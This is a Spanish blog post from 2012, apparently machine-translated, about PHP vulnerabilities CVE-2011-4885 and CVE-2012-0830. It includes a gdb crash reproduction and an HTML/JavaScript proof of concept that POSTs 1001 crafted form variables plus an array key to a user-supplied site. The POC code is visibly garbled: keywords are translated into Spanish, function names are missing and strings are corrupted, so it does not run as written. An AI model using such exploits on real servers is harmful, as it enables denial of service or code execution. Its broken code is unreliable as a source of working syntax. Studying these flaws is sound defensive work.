ClsHack:Computer Security Blog    

PHP 5.3.* le gusta vulnerabilidades DOS


Casi toda la parte de la CVE-2011-4885 PHP tablas hash de denegación de servicio que dice que este:

PHP antes 5.3.9 calcula los valores hash de los parámetros de forma, sin restringir la capacidad de desencadenar colisiones hash predecible, que permite a atacantes remotos provocar una denegación de servicio (El consumo de CPU) mediante el envío de gran cantidad de parámetros hechos a mano.

Con la actualización a la versión PHP 5.3.9 introduce la corrección de errores:

Max_input_vars Añadido directiva para prevenir ataques basados ​​en colisiones de hash (Dmitry).

max_input_vars Mi ejemplo es configurable a través de php.ini:

Este, max_input_vars Sin embargo, introduce un nuevo error: CVE-2012-0830

Un atacante remoto podría enviar gran número de peticiones POST artesanales, lo que podría
accidente de php o ejecutar código arbitrario con los permisos del usuario ejecutando
php.

cat test.php
<?php
print_r( $_GET );
?>

(gdb) run -d max_input_vars=1 /tmp/test.php a[]=1 v[]=2
Starting program: /usr/bin/php-cgi -d max_input_vars=1 /tmp/test.php a[]=1 v[]=2
[Thread debugging using libthread_db enabled]
PHP Warning: Unknown: Input variables exceeded 1. To increase the limit change max_input_vars in php.ini. in Unknown on line 0
PHP Warning: Unknown: Input variables exceeded 1. To increase the limit change max_input_vars in php.ini. in Unknown on line 0
Program received signal SIGSEGV, Segmentation fault.
0x000000000063cb5e in php_register_variable_ex ()
(gdb) ^CQuit

clshack@lb:~$ php-cgi --version
PHP 5.3.9-6~oneiric+2 (cgi-fcgi) (built: Feb 1 2012 15:51:44)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies
clshack@lb:~$

Cuando la vulnerabilidad es como sigue:

La vulnerabilidad ocurre cuando el número de variables excede max_input_vars y la variable es una variable de matriz (si (*p == '[')). En vez de un caso más que parar y volver, el código se permite que continúe la ejecución. El código se sigue ejecutando hasta la línea 207, la segunda línea resaltada. En la línea 207, está llamando a un Z_ARRVAL_PP macro para obtener una referencia a la tabla hash actualizada. Aquí es donde la ejecución de código se puede producir.

Si el POC para un sitio remoto, Con mi max_input_vars un 1000 [editar clshack v.v ]:

<!DOCTYPE html PUBLIC "- / / W3C / / DTD XHTML 1.0 Estricta / / EN"
	"Http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd~~V ">
<html xmlns = "http://www.w3.org/1999/xhtml" xml:lang = "en" lang = "ES">
<head>
	<title>senza nome</title>
	<meta http-equiv = "Content-Type" content = "text / html;charset = UTF-8" />
	<script>

		// Una prueba simple del concepto de error de PHP (CVE-2012-0830) descrito por Stefan Esser (@ I0n1c)
		// http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/
		// Generar 1000 teclas normales y una matriz
 () {
			var = evil_obj {};
			for (var i = 0; i < 1001; i    ) {
				evil_obyo[i] = 1;
			}
			evil_obj['Matar[]'] = 'Kill';
			volver evil_obj;
		}
		// Serializar objetos Javascript en datos POST
 (obj) {
			fue str = [];
			for(var p and Share) {
				strparash(p + "=" + obj[p]);
			}
			volver str.join("&");
		}
		// Ejecutar ataque
 (site)
		{
			var = malo serialscabezabj(createEvilObj());
			var xhr = new XMLHttpRequest();
			xhr.open("POST&quositiosite, verdadero);
			xhr.setRequestHeader('application/x-www-form-urlencoded');
			xhr.setRequestHeader('Content-Length', bad.length);
			xhr.se'lo);

		}
	</script>
</head>

<body>
	<texto de entrada type = '' sitio id = '' value = "http://www.example.com'  nombre = 'sitio' >
	<botón de onclick = "attackSite(document.getElementById("Sitio").valor);'> Atacar</cuerpon>
</body>
</html>

En cuanto a la poc CVE-2011-4885 está disponible aquí:
http://www.exploit-db.com/exploits/18296/
Y entonces no es para PHP 5.4SVN-2012-02-03 un desbordamiento de búfer en la función htmlspecialchars o entidades:
Poc:
http://www.exploit-db.com/exploits/18458/~~V

Referencias:

http://pastebin.com/qWBrq0A3

http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/

http://www.exploit-db.com

Puestos relacionados con:

  1. RIPS:analizador de código fuente en busca de vulnerabilidades en PHP
  2. [WordPress]Lanzamiento: WP-SENTINEL 2.0
  3. Herramientas para la búsqueda de DLL Secuestro de vulnerabilidades

Esta entrada fue publicada el viernes, 03 de febrero, 2012 en 4:07 pm y está clasificada bajo: Piratería, Programación. Puedes seguir cualquier respuesta a esta entrada a través de la RSS 2.0 alimentar. Usted puede dejar una respuesta, o trackback desde tu propio sitio.

Etiquetado con: